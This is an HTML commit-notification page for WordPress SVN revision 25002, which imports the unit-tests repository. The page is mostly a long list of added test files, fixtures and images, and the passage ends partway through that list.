<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>[25002] trunk: Initial import of unit-tests repository into develop.svn.wordpress.org.</title>
</head>
<body>

<style type="text/css"><!--
#msg dl.meta { border: 1px #006 solid; background: #369; padding: 6px; color: #fff; }
#msg dl.meta dt { float: left; width: 6em; font-weight: bold; }
#msg dt:after { content:':';}
#msg dl, #msg dt, #msg ul, #msg li, #header, #footer, #logmsg { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt;  }
#msg dl a { font-weight: bold}
#msg dl a:link    { color:#fc3; }
#msg dl a:active  { color:#ff0; }
#msg dl a:visited { color:#cc6; }
h3 { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt; font-weight: bold; }
#msg pre { overflow: auto; background: #ffc; border: 1px #fa0 solid; padding: 6px; }
#logmsg { background: #ffc; border: 1px #fa0 solid; padding: 1em 1em 0 1em; }
#logmsg p, #logmsg pre, #logmsg blockquote { margin: 0 0 1em 0; }
#logmsg p, #logmsg li, #logmsg dt, #logmsg dd { line-height: 14pt; }
#logmsg h1, #logmsg h2, #logmsg h3, #logmsg h4, #logmsg h5, #logmsg h6 { margin: .5em 0; }
#logmsg h1:first-child, #logmsg h2:first-child, #logmsg h3:first-child, #logmsg h4:first-child, #logmsg h5:first-child, #logmsg h6:first-child { margin-top: 0; }
#logmsg ul, #logmsg ol { padding: 0; list-style-position: inside; margin: 0 0 0 1em; }
#logmsg ul { text-indent: -1em; padding-left: 1em; }#logmsg ol { text-indent: -1.5em; padding-left: 1.5em; }
#logmsg > ul, #logmsg > ol { margin: 0 0 1em 0; }
#logmsg pre { background: #eee; padding: 1em; }
#logmsg blockquote { border: 1px solid #fa0; border-left-width: 10px; padding: 1em 1em 0 1em; background: white;}
#logmsg dl { margin: 0; }
#logmsg dt { font-weight: bold; }
#logmsg dd { margin: 0; padding: 0 0 0.5em 0; }
#logmsg dd:before { content:'\00bb';}
#logmsg table { border-spacing: 0px; border-collapse: collapse; border-top: 4px solid #fa0; border-bottom: 1px solid #fa0; background: #fff; }
#logmsg table th { text-align: left; font-weight: normal; padding: 0.2em 0.5em; border-top: 1px dotted #fa0; }
#logmsg table td { text-align: right; border-top: 1px dotted #fa0; padding: 0.2em 0.5em; }
#logmsg table thead th { text-align: center; border-bottom: 1px solid #fa0; }
#logmsg table th.Corner { text-align: left; }
#logmsg hr { border: none 0; border-top: 2px dashed #fa0; height: 1px; }
#header, #footer { color: #fff; background: #636; border: 1px #300 solid; padding: 6px; }
#patch { width: 100%; }
#patch h4 {font-family: verdana,arial,helvetica,sans-serif;font-size:10pt;padding:8px;background:#369;color:#fff;margin:0;}
#patch .propset h4, #patch .binary h4 {margin:0;}
#patch pre {padding:0;line-height:1.2em;margin:0;}
#patch .diff {width:100%;background:#eee;padding: 0 0 10px 0;overflow:auto;}
#patch .propset .diff, #patch .binary .diff  {padding:10px 0;}
#patch span {display:block;padding:0 10px;}
#patch .modfile, #patch .addfile, #patch .delfile, #patch .propset, #patch .binary, #patch .copfile {border:1px solid #ccc;margin:10px 0;}
#patch ins {background:#dfd;text-decoration:none;display:block;padding:0 10px;}
#patch del {background:#fdd;text-decoration:none;display:block;padding:0 10px;}
#patch .lines, .info {color:#888;background:#fff;}
--></style>
<div id="msg">
<dl class="meta">
<dt>Revision</dt> <dd><a href="http://core.trac.wordpress.org/changeset/25002">25002</a></dd>
<dt>Author</dt> <dd>nacin</dd>
<dt>Date</dt> <dd>2013-08-07 06:38:38 +0000 (Wed, 07 Aug 2013)</dd>
</dl>

<h3>Log Message</h3>
<pre>Initial import of unit-tests repository into develop.svn.wordpress.org.

Imported from https://unit-tests.svn.wordpress.org/trunk@1337

see <a href="http://core.trac.wordpress.org/ticket/24976">#24976</a>.</pre>

<h3>Added Paths</h3>
<ul>
<li>trunk/tests/</li>
<li><a href="#trunktestsREADMEtxt">trunk/tests/README.txt</a></li>
<li>trunk/tests/build/</li>
<li>trunk/tests/build/logs/</li>
<li><a href="#trunktestsbuildlogsjunitxml">trunk/tests/build/logs/junit.xml</a></li>
<li><a href="#trunktestsbuildxml">trunk/tests/build.xml</a></li>
<li>trunk/tests/data/</li>
<li><a href="#trunktestsdatatracticketcachecoretracwordpressorg">trunk/tests/data/.trac-ticket-cache.core.trac.wordpress.org</a></li>
<li><a href="#trunktestsdatatracticketcacheunitteststracwordpressorg">trunk/tests/data/.trac-ticket-cache.unit-tests.trac.wordpress.org</a></li>
<li><a href="#trunktestsdataWPHTTPtestcaseredirectionscriptphp">trunk/tests/data/WPHTTP-testcase-redirection-script.php</a></li>
<li>trunk/tests/data/export/</li>
<li><a href="#trunktestsdataexportcrazycdataescapedxml">trunk/tests/data/export/crazy-cdata-escaped.xml</a></li>
<li><a href="#trunktestsdataexportcrazycdataxml">trunk/tests/data/export/crazy-cdata.xml</a></li>
<li><a href="#trunktestsdataexportinvalidversiontagxml">trunk/tests/data/export/invalid-version-tag.xml</a></li>
<li><a href="#trunktestsdataexportmalformedxml">trunk/tests/data/export/malformed.xml</a></li>
<li><a href="#trunktestsdataexportmissingversiontagxml">trunk/tests/data/export/missing-version-tag.xml</a></li>
<li><a href="#trunktestsdataexportsmallexportxml">trunk/tests/data/export/small-export.xml</a></li>
<li><a href="#trunktestsdataexporttestserializedpostmetanocdataxml">trunk/tests/data/export/test-serialized-postmeta-no-cdata.xml</a></li>
<li><a href="#trunktestsdataexporttestserializedpostmetawithcdataxml">trunk/tests/data/export/test-serialized-postmeta-with-cdata.xml</a></li>
<li><a href="#trunktestsdataexporttestutwpostmetaimportxml">trunk/tests/data/export/test-utw-post-meta-import.xml</a></li>
<li><a href="#trunktestsdataexportvalidwxr10xml">trunk/tests/data/export/valid-wxr-1.0.xml</a></li>
<li><a href="#trunktestsdataexportvalidwxr11xml">trunk/tests/data/export/valid-wxr-1.1.xml</a></li>
<li>trunk/tests/data/formatting/</li>
<li><a href="#trunktestsdataformattingbig5txt">trunk/tests/data/formatting/big5.txt</a></li>
<li><a href="#trunktestsdataformattingcrlineendingsfileheaderphp">trunk/tests/data/formatting/cr-line-endings-file-header.php</a></li>
<li><a href="#trunktestsdataformattingentitiestxt">trunk/tests/data/formatting/entities.txt</a></li>
<li><a href="#trunktestsdataformattingremove_accents01inputtxt">trunk/tests/data/formatting/remove_accents.01.input.txt</a></li>
<li><a href="#trunktestsdataformattingsizzlejs">trunk/tests/data/formatting/sizzle.js</a></li>
<li>trunk/tests/data/formatting/utf-8/</li>
<li><a href="#trunktestsdataformattingutf8README">trunk/tests/data/formatting/utf-8/README</a></li>
<li><a href="#trunktestsdataformattingutf8entitizepy">trunk/tests/data/formatting/utf-8/entitize.py</a></li>
<li><a href="#trunktestsdataformattingutf8entitizedtxt">trunk/tests/data/formatting/utf-8/entitized.txt</a></li>
<li><a href="#trunktestsdataformattingutf8uurlencodepy">trunk/tests/data/formatting/utf-8/u-urlencode.py</a></li>
<li><a href="#trunktestsdataformattingutf8uurlencodedtxt">trunk/tests/data/formatting/utf-8/u-urlencoded.txt</a></li>
<li><a href="#trunktestsdataformattingutf8urlencodepy">trunk/tests/data/formatting/utf-8/urlencode.py</a></li>
<li><a href="#trunktestsdataformattingutf8urlencodedtxt">trunk/tests/data/formatting/utf-8/urlencoded.txt</a></li>
<li><a href="#trunktestsdataformattingutf8utf8txt">trunk/tests/data/formatting/utf-8/utf-8.txt</a></li>
<li><a href="#trunktestsdataformattingwindows1252py">trunk/tests/data/formatting/windows1252.py</a></li>
<li><a href="#trunktestsdataformattingxssAttacksxml">trunk/tests/data/formatting/xssAttacks.xml</a></li>
<li>trunk/tests/data/images/</li>
<li><a href="#trunktestsdataimages20040722DSC_0007jpg">trunk/tests/data/images/2004-07-22-DSC_0007.jpg</a></li>
<li><a href="#trunktestsdataimages20040722DSC_0008jpg">trunk/tests/data/images/2004-07-22-DSC_0008.jpg</a></li>
<li><a href="#trunktestsdataimages20070617DSC_4173JPG">trunk/tests/data/images/2007-06-17DSC_4173.JPG</a></li>
<li><a href="#trunktestsdataimagesa2small100x75jpg">trunk/tests/data/images/a2-small-100x75.jpg</a></li>
<li><a href="#trunktestsdataimagesa2smalljpg">trunk/tests/data/images/a2-small.jpg</a></li>
<li><a href="#trunktestsdataimagescanolajpg">trunk/tests/data/images/canola.jpg</a></li>
<li><a href="#trunktestsdataimagesgradientsquarejpg">trunk/tests/data/images/gradient-square.jpg</a></li>
<li><a href="#trunktestsdataimagestestimagecmykjpg">trunk/tests/data/images/test-image-cmyk.jpg</a></li>
<li><a href="#trunktestsdataimagestestimagegrayscalejpg">trunk/tests/data/images/test-image-grayscale.jpg</a></li>
<li><a href="#trunktestsdataimagestestimageiptcjpg">trunk/tests/data/images/test-image-iptc.jpg</a></li>
<li><a href="#trunktestsdataimagestestimagelzwtiff">trunk/tests/data/images/test-image-lzw.tiff</a></li>
<li><a href="#trunktestsdataimagestestimagemimejpgpng">trunk/tests/data/images/test-image-mime-jpg.png</a></li>
<li><a href="#trunktestsdataimagestestimageziptiff">trunk/tests/data/images/test-image-zip.tiff</a></li>
<li><a href="#trunktestsdataimagestestimagebmp">trunk/tests/data/images/test-image.bmp</a></li>
<li><a href="#trunktestsdataimagestestimagegif">trunk/tests/data/images/test-image.gif</a></li>
<li><a href="#trunktestsdataimagestestimagejp2">trunk/tests/data/images/test-image.jp2</a></li>
<li><a href="#trunktestsdataimagestestimagejpg">trunk/tests/data/images/test-image.jpg</a></li>
<li><a href="#trunktestsdataimagestestimagepct">trunk/tests/data/images/test-image.pct</a></li>
<li><a href="#trunktestsdataimagestestimagepng">trunk/tests/data/images/test-image.png</a></li>
<li><a href="#trunktestsdataimagestestimagepsd">trunk/tests/data/images/test-image.psd</a></li>
<li><a href="#trunktestsdataimagestestimagesgi">trunk/tests/data/images/test-image.sgi</a></li>
<li><a href="#trunktestsdataimagestestimagetga">trunk/tests/data/images/test-image.tga</a></li>
<li><a href="#trunktestsdataimagestestimagetiff">trunk/tests/data/images/test-image.tiff</a></li>
<li><a href="#trunktestsdataimagestransparentpng">trunk/tests/data/images/transparent.png</a></li>
<li><a href="#trunktestsdataimageswafflesjpg">trunk/tests/data/images/waffles.jpg</a></li>
<li>trunk/tests/data/plugins/</li>
<li><a href="#trunktestsdatapluginshellophp">trunk/tests/data/plugins/hello.php</a></li>
<li>trunk/tests/data/pomo/</li>
<li><a href="#trunktestsdatapomobad_npluralsmo">trunk/tests/data/pomo/bad_nplurals.mo</a></li>
<li><a href="#trunktestsdatapomobad_npluralspo">trunk/tests/data/pomo/bad_nplurals.po</a></li>
<li><a href="#trunktestsdatapomocontextmo">trunk/tests/data/pomo/context.mo</a></li>
<li><a href="#trunktestsdatapomode_DE28mo">trunk/tests/data/pomo/de_DE-2.8.mo</a></li>
<li><a href="#trunktestsdatapomoemptypo">trunk/tests/data/pomo/empty.po</a></li>
<li><a href="#trunktestsdatapomomopot">trunk/tests/data/pomo/mo.pot</a></li>
<li><a href="#trunktestsdatapomooverloadmo">trunk/tests/data/pomo/overload.mo</a></li>
<li><a href="#trunktestsdatapomopluralmo">trunk/tests/data/pomo/plural.mo</a></li>
<li><a href="#trunktestsdatapomosimplemo">trunk/tests/data/pomo/simple.mo</a></li>
<li><a href="#trunktestsdatapomosimplepo">trunk/tests/data/pomo/simple.po</a></li>
<li><a href="#trunktestsdatapomowindowslineendingspo">trunk/tests/data/pomo/windows-line-endings.po</a></li>
<li>trunk/tests/data/themedir1/</li>
<li>trunk/tests/data/themedir1/broken-theme/</li>
<li>trunk/tests/data/themedir1/default/</li>
<li><a href="#trunktestsdatathemedir1defaultfunctionsphp">trunk/tests/data/themedir1/default/functions.php</a></li>
<li><a href="#trunktestsdatathemedir1defaultindexphp">trunk/tests/data/themedir1/default/index.php</a></li>
<li><a href="#trunktestsdatathemedir1defaultstylecss">trunk/tests/data/themedir1/default/style.css</a></li>
<li>trunk/tests/data/themedir1/page-templates/</li>
<li><a href="#trunktestsdatathemedir1pagetemplatesindexphp">trunk/tests/data/themedir1/page-templates/index.php</a></li>
<li><a href="#trunktestsdatathemedir1pagetemplatesstylecss">trunk/tests/data/themedir1/page-templates/style.css</a></li>
<li>trunk/tests/data/themedir1/page-templates/subdir/</li>
<li><a href="#trunktestsdatathemedir1pagetemplatessubdirtemplatesubdirphp">trunk/tests/data/themedir1/page-templates/subdir/template-sub-dir.php</a></li>
<li><a href="#trunktestsdatathemedir1pagetemplatestemplateheaderphp">trunk/tests/data/themedir1/page-templates/template-header.php</a></li>
<li><a href="#trunktestsdatathemedir1pagetemplatestemplatetoplevelphp">trunk/tests/data/themedir1/page-templates/template-top-level.php</a></li>
<li>trunk/tests/data/themedir1/sandbox/</li>
<li><a href="#trunktestsdatathemedir1sandboxfunctionsphp">trunk/tests/data/themedir1/sandbox/functions.php</a></li>
<li><a href="#trunktestsdatathemedir1sandboxindexphp">trunk/tests/data/themedir1/sandbox/index.php</a></li>
<li><a href="#trunktestsdatathemedir1sandboxstylecss">trunk/tests/data/themedir1/sandbox/style.css</a></li>
<li>trunk/tests/data/themedir1/stylesheetonly/</li>
<li><a href="#trunktestsdatathemedir1stylesheetonlystylecss">trunk/tests/data/themedir1/stylesheetonly/style.css</a></li>
<li>trunk/tests/data/themedir1/subdir/</li>
<li>trunk/tests/data/themedir1/subdir/theme with spaces/</li>
<li><a href="#trunktestsdatathemedir1subdirthemewithspacesindexphp">trunk/tests/data/themedir1/subdir/theme with spaces/index.php</a></li>
<li><a href="#trunktestsdatathemedir1subdirthemewithspacesstylecss">trunk/tests/data/themedir1/subdir/theme with spaces/style.css</a></li>
<li>trunk/tests/data/themedir1/subdir/theme2/</li>
<li><a href="#trunktestsdatathemedir1subdirtheme2functionsphp">trunk/tests/data/themedir1/subdir/theme2/functions.php</a></li>
<li><a href="#trunktestsdatathemedir1subdirtheme2indexphp">trunk/tests/data/themedir1/subdir/theme2/index.php</a></li>
<li><a href="#trunktestsdatathemedir1subdirtheme2stylecss">trunk/tests/data/themedir1/subdir/theme2/style.css</a></li>
<li>trunk/tests/data/themedir1/theme1/</li>
<li><a href="#trunktestsdatathemedir1theme1functionsphp">trunk/tests/data/themedir1/theme1/functions.php</a></li>
<li><a href="#trunktestsdatathemedir1theme1indexphp">trunk/tests/data/themedir1/theme1/index.php</a></li>
<li><a href="#trunktestsdatathemedir1theme1stylecss">trunk/tests/data/themedir1/theme1/style.css</a></li>
<li>trunk/tests/data/themedir1/theme1-dupe/</li>
<li><a href="#trunktestsdatathemedir1theme1dupefunctionsphp">trunk/tests/data/themedir1/theme1-dupe/functions.php</a></li>
<li><a href="#trunktestsdatathemedir1theme1dupeindexphp">trunk/tests/data/themedir1/theme1-dupe/index.php</a></li>
<li><a href="#trunktestsdatathemedir1theme1dupestylecss">trunk/tests/data/themedir1/theme1-dupe/style.css</a></li>
<li>trunk/tests/includes/</li>
<li><a href="#trunktestsincludesbootstrapphp">trunk/tests/includes/bootstrap.php</a></li>
<li><a href="#trunktestsincludesexceptionsphp">trunk/tests/includes/exceptions.php</a></li>
<li><a href="#trunktestsincludesfactoryphp">trunk/tests/includes/factory.php</a></li>
<li><a href="#trunktestsincludesfunctionsphp">trunk/tests/includes/functions.php</a></li>
<li><a href="#trunktestsincludesinstallphp">trunk/tests/includes/install.php</a></li>
<li><a href="#trunktestsincludesmockimageeditorphp">trunk/tests/includes/mock-image-editor.php</a></li>
<li><a href="#trunktestsincludesmockmailerphp">trunk/tests/includes/mock-mailer.php</a></li>
<li><a href="#trunktestsincludestestcaseajaxphp">trunk/tests/includes/testcase-ajax.php</a></li>
<li><a href="#trunktestsincludestestcasexmlrpcphp">trunk/tests/includes/testcase-xmlrpc.php</a></li>
<li><a href="#trunktestsincludestestcasephp">trunk/tests/includes/testcase.php</a></li>
<li><a href="#trunktestsincludestracphp">trunk/tests/includes/trac.php</a></li>
<li><a href="#trunktestsincludesutilsphp">trunk/tests/includes/utils.php</a></li>
<li><a href="#trunktestsincludeswpprofilerphp">trunk/tests/includes/wp-profiler.php</a></li>
<li><a href="#trunktestsmultisitexml">trunk/tests/multisite.xml</a></li>
<li><a href="#trunktestsphpunitxmldist">trunk/tests/phpunit.xml.dist</a></li>
<li>trunk/tests/tests/</li>
<li>trunk/tests/tests/actions/</li>
<li><a href="#trunkteststestsactionscallbacksphp">trunk/tests/tests/actions/callbacks.php</a></li>
<li><a href="#trunkteststestsactionsclosuresphp">trunk/tests/tests/actions/closures.php</a></li>
<li><a href="#trunkteststestsactionsphp">trunk/tests/tests/actions.php</a></li>
<li>trunk/tests/tests/admin/</li>
<li><a href="#trunkteststestsadminincludesFilephp">trunk/tests/tests/admin/includesFile.php</a></li>
<li><a href="#trunkteststestsadminincludesMiscphp">trunk/tests/tests/admin/includesMisc.php</a></li>
<li><a href="#trunkteststestsadminincludesPluginphp">trunk/tests/tests/admin/includesPlugin.php</a></li>
<li><a href="#trunkteststestsadminincludesPostphp">trunk/tests/tests/admin/includesPost.php</a></li>
<li><a href="#trunkteststestsadminincludesScreenphp">trunk/tests/tests/admin/includesScreen.php</a></li>
<li><a href="#trunkteststestsadminincludesTemplatephp">trunk/tests/tests/admin/includesTemplate.php</a></li>
<li><a href="#trunkteststestsadminincludesThemephp">trunk/tests/tests/admin/includesTheme.php</a></li>
<li><a href="#trunkteststestsadminbarphp">trunk/tests/tests/adminbar.php</a></li>
<li>trunk/tests/tests/ajax/</li>
<li><a href="#trunkteststestsajaxAutosavephp">trunk/tests/tests/ajax/Autosave.php</a></li>
<li><a href="#trunkteststestsajaxCompressionphp">trunk/tests/tests/ajax/Compression.php</a></li>
<li><a href="#trunkteststestsajaxDeleteCommentphp">trunk/tests/tests/ajax/DeleteComment.php</a></li>
<li><a href="#trunkteststestsajaxDimCommentphp">trunk/tests/tests/ajax/DimComment.php</a></li>
<li><a href="#trunkteststestsajaxEditCommentphp">trunk/tests/tests/ajax/EditComment.php</a></li>
<li><a href="#trunkteststestsajaxGetCommentsphp">trunk/tests/tests/ajax/GetComments.php</a></li>
<li><a href="#trunkteststestsajaxMediaEditphp">trunk/tests/tests/ajax/MediaEdit.php</a></li>
<li><a href="#trunkteststestsajaxReplytoCommentphp">trunk/tests/tests/ajax/ReplytoComment.php</a></li>
<li><a href="#trunkteststestsajaxResponsephp">trunk/tests/tests/ajax/Response.php</a></li>
<li><a href="#trunkteststestsajaxTagSearchphp">trunk/tests/tests/ajax/TagSearch.php</a></li>
<li>trunk/tests/tests/attachment/</li>
<li><a href="#trunkteststestsattachmentslashesphp">trunk/tests/tests/attachment/slashes.php</a></li>
<li><a href="#trunkteststestsauthphp">trunk/tests/tests/auth.php</a></li>
<li><a href="#trunkteststestsbasicphp">trunk/tests/tests/basic.php</a></li>
<li><a href="#trunkteststestscachephp">trunk/tests/tests/cache.php</a></li>
<li>trunk/tests/tests/canonical/</li>
<li><a href="#trunkteststestscanonicalcustomRulesphp">trunk/tests/tests/canonical/customRules.php</a></li>
<li><a href="#trunkteststestscanonicalnoRewritephp">trunk/tests/tests/canonical/noRewrite.php</a></li>
<li><a href="#trunkteststestscanonicalpageOnFrontphp">trunk/tests/tests/canonical/pageOnFront.php</a></li>
<li><a href="#trunkteststestscanonicalpermalinkFormatsphp">trunk/tests/tests/canonical/permalinkFormats.php</a></li>
<li><a href="#trunkteststestscanonicalphp">trunk/tests/tests/canonical.php</a></li>
<li>trunk/tests/tests/comment/</li>
<li><a href="#trunkteststestscommentqueryphp">trunk/tests/tests/comment/query.php</a></li>
<li><a href="#trunkteststestscommentslashesphp">trunk/tests/tests/comment/slashes.php</a></li>
<li><a href="#trunkteststestscommentphp">trunk/tests/tests/comment.php</a></li>
<li><a href="#trunkteststestscompatphp">trunk/tests/tests/compat.php</a></li>
<li><a href="#trunkteststestscronphp">trunk/tests/tests/cron.php</a></li>
<li><a href="#trunkteststestsdbphp">trunk/tests/tests/db.php</a></li>
<li>trunk/tests/tests/dependencies/</li>
<li><a href="#trunkteststestsdependenciesjqueryphp">trunk/tests/tests/dependencies/jquery.php</a></li>
<li><a href="#trunkteststestsdependenciesscriptsphp">trunk/tests/tests/dependencies/scripts.php</a></li>
<li><a href="#trunkteststestsdependenciesstylesphp">trunk/tests/tests/dependencies/styles.php</a></li>
<li><a href="#trunkteststestsdependenciesphp">trunk/tests/tests/dependencies.php</a></li>
<li>trunk/tests/tests/export/</li>
<li><a href="#trunkteststestsexportclasswpexportqueryphp">trunk/tests/tests/export/class-wp-export-query.php</a></li>
<li><a href="#trunkteststestsexportfunctionsexportphp">trunk/tests/tests/export/functions.export.php</a></li>
<li><a href="#trunkteststestsexportwritersphp">trunk/tests/tests/export/writers.php</a></li>
<li>trunk/tests/tests/feed/</li>
<li><a href="#trunkteststestsfeedrss2php">trunk/tests/tests/feed/rss2.php</a></li>
<li><a href="#trunkteststestsfilephp">trunk/tests/tests/file.php</a></li>
<li><a href="#trunkteststestsfiltersphp">trunk/tests/tests/filters.php</a></li>
<li>trunk/tests/tests/formatting/</li>
<li><a href="#trunkteststestsformattingAutopphp">trunk/tests/tests/formatting/Autop.php</a></li>
<li><a href="#trunkteststestsformattingCleanPrephp">trunk/tests/tests/formatting/CleanPre.php</a></li>
<li><a href="#trunkteststestsformattingConvertCharsphp">trunk/tests/tests/formatting/ConvertChars.php</a></li>
<li><a href="#trunkteststestsformattingEscAttrphp">trunk/tests/tests/formatting/EscAttr.php</a></li>
<li><a href="#trunkteststestsformattingEscHtmlphp">trunk/tests/tests/formatting/EscHtml.php</a></li>
<li><a href="#trunkteststestsformattingEscTextareaphp">trunk/tests/tests/formatting/EscTextarea.php</a></li>
<li><a href="#trunkteststestsformattingEscUrlphp">trunk/tests/tests/formatting/EscUrl.php</a></li>
<li><a href="#trunkteststestsformattingHtmlExcerptphp">trunk/tests/tests/formatting/HtmlExcerpt.php</a></li>
<li><a href="#trunkteststestsformattingIsEmailphp">trunk/tests/tests/formatting/IsEmail.php</a></li>
<li><a href="#trunkteststestsformattingJSEscapephp">trunk/tests/tests/formatting/JSEscape.php</a></li>
<li><a href="#trunkteststestsformattingLikeEscapephp">trunk/tests/tests/formatting/LikeEscape.php</a></li>
<li><a href="#trunkteststestsformattingMakeClickablephp">trunk/tests/tests/formatting/MakeClickable.php</a></li>
<li><a href="#trunkteststestsformattingMapDeepphp">trunk/tests/tests/formatting/MapDeep.php</a></li>
<li><a href="#trunkteststestsformattingRemoveAccentsphp">trunk/tests/tests/formatting/RemoveAccents.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeFileNamephp">trunk/tests/tests/formatting/SanitizeFileName.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeMimeTypephp">trunk/tests/tests/formatting/SanitizeMimeType.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeOrderbyphp">trunk/tests/tests/formatting/SanitizeOrderby.php</a></li>
<li><a href="#trunkteststestsformattingSanitizePostphp">trunk/tests/tests/formatting/SanitizePost.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeTextFieldphp">trunk/tests/tests/formatting/SanitizeTextField.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeTitlephp">trunk/tests/tests/formatting/SanitizeTitle.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeTitleWithDashesphp">trunk/tests/tests/formatting/SanitizeTitleWithDashes.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeTrackbackUrlsphp">trunk/tests/tests/formatting/SanitizeTrackbackUrls.php</a></li>
<li><a href="#trunkteststestsformattingSanitizeUserphp">trunk/tests/tests/formatting/SanitizeUser.php</a></li>
<li><a href="#trunkteststestsformattingSeemsUtf8php">trunk/tests/tests/formatting/SeemsUtf8.php</a></li>
<li><a href="#trunkteststestsformattingSlashitphp">trunk/tests/tests/formatting/Slashit.php</a></li>
<li><a href="#trunkteststestsformattingSmiliesphp">trunk/tests/tests/formatting/Smilies.php</a></li>
<li><a href="#trunkteststestsformattingStripSlashesDeepphp">trunk/tests/tests/formatting/StripSlashesDeep.php</a></li>
<li><a href="#trunkteststestsformattingUrlEncodedToEntitiesphp">trunk/tests/tests/formatting/UrlEncodedToEntities.php</a></li>
<li><a href="#trunkteststestsformattingUtf8UriEncodephp">trunk/tests/tests/formatting/Utf8UriEncode.php</a></li>
<li><a href="#trunkteststestsformattingWPSpecialcharsphp">trunk/tests/tests/formatting/WPSpecialchars.php</a></li>
<li><a href="#trunkteststestsformattingWPTexturizephp">trunk/tests/tests/formatting/WPTexturize.php</a></li>
<li><a href="#trunkteststestsformattingWPTrimWordsphp">trunk/tests/tests/formatting/WPTrimWords.php</a></li>
<li><a href="#trunkteststestsformattingWpHtmlEditPrephp">trunk/tests/tests/formatting/WpHtmlEditPre.php</a></li>
<li><a href="#trunkteststestsformattingWpRichEditPrephp">trunk/tests/tests/formatting/WpRichEditPre.php</a></li>
<li><a href="#trunkteststestsformattingZeroisephp">trunk/tests/tests/formatting/Zeroise.php</a></li>
<li><a href="#trunkteststestsformattingbalanceTagsphp">trunk/tests/tests/formatting/balanceTags.php</a></li>
<li><a href="#trunkteststestsformattingdatephp">trunk/tests/tests/formatting/date.php</a></li>
<li><a href="#trunkteststestsformattingent2ncrphp">trunk/tests/tests/formatting/ent2ncr.php</a></li>
<li><a href="#trunkteststestsformattingisoDescramblerphp">trunk/tests/tests/formatting/isoDescrambler.php</a></li>
<li><a href="#trunkteststestsformattingredirectphp">trunk/tests/tests/formatting/redirect.php</a></li>
<li><a href="#trunkteststestsformattingwp_basenamephp">trunk/tests/tests/formatting/wp_basename.php</a></li>
<li>trunk/tests/tests/functions/</li>
<li><a href="#trunkteststestsfunctionsdeprecatedphp">trunk/tests/tests/functions/deprecated.php</a></li>
<li><a href="#trunkteststestsfunctionslistFilterphp">trunk/tests/tests/functions/listFilter.php</a></li>
<li><a href="#trunkteststestsfunctionsphp">trunk/tests/tests/functions.php</a></li>
<li>trunk/tests/tests/general/</li>
<li><a href="#trunkteststestsgeneralarchivesphp">trunk/tests/tests/general/archives.php</a></li>
<li>trunk/tests/tests/http/</li>
<li><a href="#trunkteststestshttpbasephp">trunk/tests/tests/http/base.php</a></li>
<li><a href="#trunkteststestshttpcurlphp">trunk/tests/tests/http/curl.php</a></li>
<li><a href="#trunkteststestshttpfsockopenphp">trunk/tests/tests/http/fsockopen.php</a></li>
<li><a href="#trunkteststestshttpfunctionsphp">trunk/tests/tests/http/functions.php</a></li>
<li><a href="#trunkteststestshttphttpphp">trunk/tests/tests/http/http.php</a></li>
<li><a href="#trunkteststestshttpstreamsphp">trunk/tests/tests/http/streams.php</a></li>
<li>trunk/tests/tests/image/</li>
<li><a href="#trunkteststestsimagebasephp">trunk/tests/tests/image/base.php</a></li>
<li><a href="#trunkteststestsimagedimensionsphp">trunk/tests/tests/image/dimensions.php</a></li>
<li><a href="#trunkteststestsimageeditorphp">trunk/tests/tests/image/editor.php</a></li>
<li><a href="#trunkteststestsimageeditor_gdphp">trunk/tests/tests/image/editor_gd.php</a></li>
<li><a href="#trunkteststestsimageeditor_imagickphp">trunk/tests/tests/image/editor_imagick.php</a></li>
<li><a href="#trunkteststestsimagefunctionsphp">trunk/tests/tests/image/functions.php</a></li>
<li><a href="#trunkteststestsimageintermediate_sizephp">trunk/tests/tests/image/intermediate_size.php</a></li>
<li><a href="#trunkteststestsimagemetaphp">trunk/tests/tests/image/meta.php</a></li>
<li><a href="#trunkteststestsimageresizephp">trunk/tests/tests/image/resize.php</a></li>
<li><a href="#trunkteststestsimageresize_gdphp">trunk/tests/tests/image/resize_gd.php</a></li>
<li><a href="#trunkteststestsimageresize_imagickphp">trunk/tests/tests/image/resize_imagick.php</a></li>
<li><a href="#trunkteststestsimagesizephp">trunk/tests/tests/image/size.php</a></li>
<li>trunk/tests/tests/import/</li>
<li><a href="#trunkteststestsimportbasephp">trunk/tests/tests/import/base.php</a></li>
<li><a href="#trunkteststestsimportimportphp">trunk/tests/tests/import/import.php</a></li>
<li><a href="#trunkteststestsimportparserphp">trunk/tests/tests/import/parser.php</a></li>
<li><a href="#trunkteststestsimportpostmetaphp">trunk/tests/tests/import/postmeta.php</a></li>
<li>trunk/tests/tests/includes/</li>
<li><a href="#trunkteststestsincludesfactoryphp">trunk/tests/tests/includes/factory.php</a></li>
<li><a href="#trunkteststestsiteratorsphp">trunk/tests/tests/iterators.php</a></li>
<li><a href="#trunkteststestsksesphp">trunk/tests/tests/kses.php</a></li>
<li><a href="#trunkteststestsl10nphp">trunk/tests/tests/l10n.php</a></li>
<li><a href="#trunkteststestslinkphp">trunk/tests/tests/link.php</a></li>
<li><a href="#trunkteststestsmailphp">trunk/tests/tests/mail.php</a></li>
<li><a href="#trunkteststestsmediaphp">trunk/tests/tests/media.php</a></li>
<li>trunk/tests/tests/meta/</li>
<li><a href="#trunkteststestsmetaqueryphp">trunk/tests/tests/meta/query.php</a></li>
<li><a href="#trunkteststestsmetaslashesphp">trunk/tests/tests/meta/slashes.php</a></li>
<li><a href="#trunkteststestsmetaphp">trunk/tests/tests/meta.php</a></li>
<li><a href="#trunkteststestsmsphp">trunk/tests/tests/ms.php</a></li>
<li>trunk/tests/tests/option/</li>
<li><a href="#trunkteststestsoptionblogOptionphp">trunk/tests/tests/option/blogOption.php</a></li>
<li><a href="#trunkteststestsoptionoptionphp">trunk/tests/tests/option/option.php</a></li>
<li><a href="#trunkteststestsoptionsiteOptionphp">trunk/tests/tests/option/siteOption.php</a></li>
<li><a href="#trunkteststestsoptionsiteTransientphp">trunk/tests/tests/option/siteTransient.php</a></li>
